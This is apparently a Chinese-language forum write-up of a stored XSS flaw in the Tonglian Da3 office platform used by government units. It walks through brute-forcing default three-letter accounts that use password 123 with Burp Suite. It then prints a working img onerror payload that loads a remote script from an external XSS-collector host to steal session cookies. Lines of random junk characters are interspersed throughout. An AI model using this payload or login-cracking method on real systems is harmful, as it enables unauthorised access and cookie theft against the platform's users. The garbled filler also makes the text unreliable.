同联Da3协同办公平台后台通用储存型xss漏洞

admin

/ l( b. [; s6 S4 z# O9 {4 F 2 K. R# i1 J0 h2 W- r9 t* C 3 `% B. C* {8 W3 L* Q! S ) R; v. H8 z# s* y% y! I 5 \7 L& `; S7 k $ w; V* [; ]7 v0 x . a8 s$ K" K9 D ! n- e' ]9 }$ H3 g- k1 y

+ s2 d4 I2 y- {2 b" M, |0 O

- ^8 L; i9 {+ S% t H0 w 同联Da3协同办公平台后台通用储存型xss漏洞

9 B y7 v& R' h. t j$ Q- |& U0 K 平台简介：

0 P, i# r( Y* B4 i

5 Q' X1 j D* w( t6 U% ^2 z/ ~  

+ k% U$ o0 v) A9 A. z

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
# ~$ t: r' v' P同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
# f: _( M( P+ n0 J; i) \同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ * z* n# p7 l) }& b' n+ T* i% O

  & ?' |$ ]% \ J3 F* Z# d3 w j( g* q

# p: L, p0 X4 o4 q; |

$ d7 J. _& z' c3 b4 Q 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

" N( \) @% D% f1 `

 

6 F ]4 ^9 t( W1 O% C http://1.1.1.1:7197/cap-aco/#（案例2-）

\: c1 y6 X; o4 D

http://www.XXOO.com （案例1-官网网站） / @" n8 N1 R" Q/ ~0 U* ~

% ], y9 x/ e' s N O2 E$ v 漏洞详情: # m! w& a# d, f6 \' l

. N+ G( g) T% ^# x3 E7 d

 案例一、 & ^4 u4 }" \$ Q6 l

4 _. d6 @0 Y- K8 h: K: c" j

初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 % z4 }/ S( _, E) }4 h* o

: X& S) O! H& o* [* J- L1 T

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： # [( l* K. z0 ?0 q5 \

' y }5 M$ O" M! C

 

: G! m8 B r% B5 @) e" P: u

status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图： 4 m [- ~6 I2 i- F3 N3 a

7 ^% t \9 m8 @6 ^: @   2 M8 @1 Z+ @" p% {# {4 I6 a: Y2 Z- ^

9 o5 ]& Z/ G" A( \0 N & J1 V; S' Z: t( b8 W( N

9 y# H6 v, B; \, g% j7 S1 l 然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下 " f0 `- W1 j2 h, |0 w: d: y

' ?* r5 G/ ?; s- O   - u5 V. w0 [+ }: d+ A6 k

, k9 n4 o2 R8 {* m

<img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图：

3 T: V8 j" N, ?! \

% w4 e f" `6 ^( v, }5 y$ A

然后发送，接收cookie如图：

# d. J. L% ~* [ T& c3 d  

2 z3 z2 O) V% J \( {4 V: p3 B% n1 g

: p8 D0 n2 \/ {6 ~ R  

  3 Z$ _: z+ }+ h( |9 X- h

' y, r: O7 s5 |  

6 J: [% n: T3 v0 N. B

; _% v, m# Z" Q; q

7 z. {) s6 `+ m& B- J

; h) E2 q x' s: d% A

 

案例2、

/ F, D: q9 C: {' c Y0 X- P

6 J( ?9 G/ b0 P8 m8 ~: I+ Z 前面步骤都一样，下面看效果图：

8 `0 j1 c- G5 g

" L8 Q# k& u: D8 K0 B( A5 }8 o8 G

1 o2 `6 J$ ^$ `- e) k

S9 _# t& s3 ~& o m4 Q3 O

8 H1 R' U, g4 u* C   7 Y8 ]8 e$ S( p/ V/ g7 j% b* Q8 j

+ I8 J' K7 `* Z" g# s( y  

+ H9 w+ E$ l* A: S% O

  % v4 X5 `' A4 Z i! W e

; o& u1 Z% Q, C( z0 Q: F

% H2 |2 r( G3 \: g& A  

  ( s4 T$ S; L. u, ~* a2 b5 T

0 J; ^# |* [9 z3 M

 

6 R) p) y) j- x! D; A7 I. S